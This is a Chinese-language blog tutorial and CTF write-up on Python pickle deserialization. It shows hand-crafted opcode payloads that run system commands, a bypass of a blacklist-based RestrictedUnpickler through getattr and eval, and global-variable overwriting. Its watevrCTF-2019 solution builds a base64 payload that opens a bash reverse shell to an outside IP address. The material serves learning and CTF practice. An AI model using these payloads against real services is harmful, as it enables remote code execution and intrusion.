python反序列化

pickle反序列化

 序列化:dumps()、dump()

 反序列化:loads()、load()

import pickle
class People:
    def __init__(self,name):
        self.name=name

    def say(self):
        print("people")

# Press the green button in the gutter to run the script.
if __name__ == '__main__':
    a=People("penson")
    c=pickle.dumps(a)
    print(c)
    b =pickle.loads(c)
    print(b.name)
__reduce__魔术方法
import os
import pickle
class People:
    def __init__(self,name):
        self.name=name

    def say(self):
        print("people")

    def __reduce__(self):
        return (os.system, ('whoami',))



if __name__ == '__main__':
    a=People("penson")
    c=pickle.dumps(a)
    print(c)
    b =pickle.loads(c)
    print(b.name)

image-20211128214141699

我们可以发现经过反序列化的时候会直接返回__reduce__魔术方法的结果即os.system('whoami')的返回结果这也是为啥会报错的原因

其实这里也就相当于php反序列化的魔法方法一个意思

接着呢看到

python3和python2中的序列化数据

python3

image-20211128211651061

python2

image-20211128211446355

这里其实是PVM(python 虚拟机) 了,它是实现 Python 序列化和反序列化的最根本的东西

重点是PVM操作码,搜索pickle.py就会有的,o这些数据称为opcode ,会看到大量 push 和对 stack 进行的操作,最后栈顶的元素会作为反序列化的结果返回给调用者

image-20211128212124747

先举三个简单的例子

def demo_1():
    opcode=b'''cos
system
(S'whoami'
tR.'''
    return opcode
if __name__ == '__main__':
    opcode=demo_1()
    pickle.loads(opcode)

image-20211128213008141

    0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     'whoami'
   22: t        TUPLE      (MARK at 11)
   23: R    REDUCE
   24: .    STOP

os.system('ls')

def demo_2():
    opcode=b'''(S'whoami'
ios
system
.'''
    return opcode


if __name__ == '__main__':
    opcode=demo_2()
    pickletools.dis(opcode)
    pickle.loads(opcode)
    0: (    MARK
    1: S        STRING     'whoami'
   11: i        INST       'os system' (MARK at 0)
   22: .    STOP
def demo_3():
    opcode=b'''(cos
system
S'whoami'
o.'''
    return opcode


if __name__ == '__main__':
    opcode=demo_3()
    pickletools.dis(opcode)
    pickle.loads(opcode)
    0: (    MARK
    1: c        GLOBAL     'os system'
   12: S        STRING     'whoami'
   22: o        OBJ        (MARK at 0)
   23: .    STOP
highest protocol among opcodes = 1

可以发现成功执行了系统命令

pvm操作码 意思 用法
c 获取模块(import),第一个参数为 modname,第二个参数为 name c[模块名]\n[调用的对象]
R 从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中
o 寻找mark上的第一个元素为类或可调用的对象,之后的元素为其参数
s 设置键值对 }T1\nT2\ns.
t 寻找栈的上一个mark,并作为元组
i 和c,o组合,找上一个mark标志,并组成元组且以该元组为参数,后面的元素作为对象调用 i[模块名]\n[调用的对象]
( 为压入一个对象,用以构建 元组、列表 等对象或调用函数时标识数据的开始位置
p 将栈顶的元素存储到memo(就是一个标记)中,p后面跟一个数字,就是表示这个元素在memo中的索引 p0
V 压入一个字符串
g 将memo_n的对象压栈 g0

接下来以几个例题来巩固一下

[watevrCTF-2019]Pickle Store

image-20211128234336659

意思很明显了,要我们买那个flag的黄瓜,但钱是不够的

image-20211128234457016

抓包也没什么发现,对于这种python的题,要是没任何发现的话,就从session下手

用工具解一下

https://github.com/noraj/flask-session-cookie-manager

image-20211128235016741

发现是python反序列化的东西,可以整出来load看看

import pickle
text=b'\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x90\x01X\x07\x00\x00\x00historyq\x02]q\x03X\x14\x00\x00\x00Yummy sm\xc3\xb6rg\xc3\xa5sgurkaq\x04aX\x10\x00\x00\x00anti_tamper_hmacq\x05X \x00\x00\x00464fb519eccd90037ca807319d45786dq\x06u.'

print(pickle.loads(text))

image-20211128235311415

这里可能有人会说改成1000会咋样

那我们试试

image-20211128235624713

可以发现还是没用的,原因就可能在anti_tamper_hmac

image-20211129000526134

这里有pickle,就可以直接用opcode来rce

由此构造exp

import base64

def exp():
    opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/47.96.31.86/2333 0>&1'"
tR.'''
    return opcode
if __name__ == '__main__':
    opcode=exp()
    print(base64.b64encode(opcode).decode())

image-20211129000003657

一个非常绕的绕过技巧

来自p神知识星球

了解pickle.Unpickler.find_class()

就是继承这个类,然后去实现find_class方法就能对opcode进行过滤

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):

        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)

        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

看到源代码里并不难懂,就是只能用builtins模块,而且放了黑名单

builtins模块在Python中实际上就是不需要import就能使用的模块,比如常见的open__import__evalinput这种内置函数,都属于builtins模块

用之前的opcode试试

image-20211129120205775

源码里还禁了函数,而在ssti模板注入绕过的时候常常会用到getattr()方法来获取所需要的函数

先看个样例

opcode = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tR.'''
print(pickle.loads(opcode))

先看到第一个tR

其实就是相当于

builtins.getattr(builtins.dict,'get')

t:获取mark标志的位置并弄成元组,R:从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中

第二个tR

image-20211129142459229

print(builtins.dict(builtins.globals()))

因为globals是一个无参函数,所以mark标记为空能调用了

cbuiltins
globals
(tR

可以这样看

image-20211129144141959

第三个tR

image-20211129144335006

builtins.getattr(builtins.dict(builtins.globals()),'get')('builtins')

因为之前第一个tR已经实例化好了,而第二个tR又builtins.dict给用了,所以第三个tr就要用到第一个tR已经实例化好的对象即builtins.getattr(builtins.dict(builtins.globals()),'get')对象然后参数就是字符窜builtins

接下来构造exp

exp=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("whoami")'
tR.'''

pickle.loads(exp)
print(builtins.getattr(builtins.dict(builtins.globals()), 'get')('builtins').getattr(builtins.getattr(builtins.dict(builtins.globals()), 'get')('builtins'),'eval'))

image-20211129145239118

先看到他是怎样调用eval的

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1

这里有一个p1操作,就是将之前分析的三个tr(builtins.getattr(builtins.dict(builtins.globals()), 'get')('builtins'))压栈进memo的第一个位置

cbuiltins
getattr
(g1
S'eval'
tR.

这里就很容易看懂了,g1就是将p1的数据取出来压栈

builtins.getattr(builtins.getattr(builtins.dict(builtins.globals()), 'get')('builtins'),'eval')

cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("whoami")'
tR.

这个就很简单了

刚刚上面实例化好的和下面的mark进行调用

builtins.getattr(builtins.getattr(builtins.dict(builtins.globals()), 'get')('builtins'),'eval')('__import__("os").system("whoami")')

一个非常绕的trick就这样出现了

image-20211129150626371

这样子就满了条件,可以成功绕过

image-20211129150712894

全局变量覆盖

这里写了一个小demo

1.py

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        print(module,name)
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
opcode=b''''''
print(RestrictedUnpickler(io.BytesIO(opcode)).load())

config.py

import os

secrect={'isadmin':0}
def rce(exec):
    if secrect['isadmin']==1:
        os.system(exec)
    else:
        print("error")

我们尝试利用pickle反序列化调用config模块的rce方法

而rce方法必须要isadmin等于1才能rce

所以还是需要利用opcode来进行修改全局变量

exp1

opcode=b'''cconfig
secrect
S'isadmin'
I1
s.'''
    # print(RestrictedUnpickler(io.BytesIO(opcode)).load())
    pickle.loads(opcode)
    print(config.secrect)

image-20211129165422556

然后再调用config的rce方法

cconfig
rce
(S"whoami"
tR.

组合一下

exp

opcode=b'''cconfig
secrect
S'isadmin'
I1
scconfig
rce
(S"whoami"
tR.'''
RestrictedUnpickler(io.BytesIO(opcode)).load()

image-20211129165824684

这样成功修改了变量

当然还有工具

https://github.com/EddieIvan01/pker

创建一个文件

secrect = GLOBAL('config', 'secrect')
secrect['isadmin'] = 1
rce = GLOBAL('config', 'rce')
rce("whoami")
return
python3 pker.py < 1

image-20211129165935426

image-20211129170000114


文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年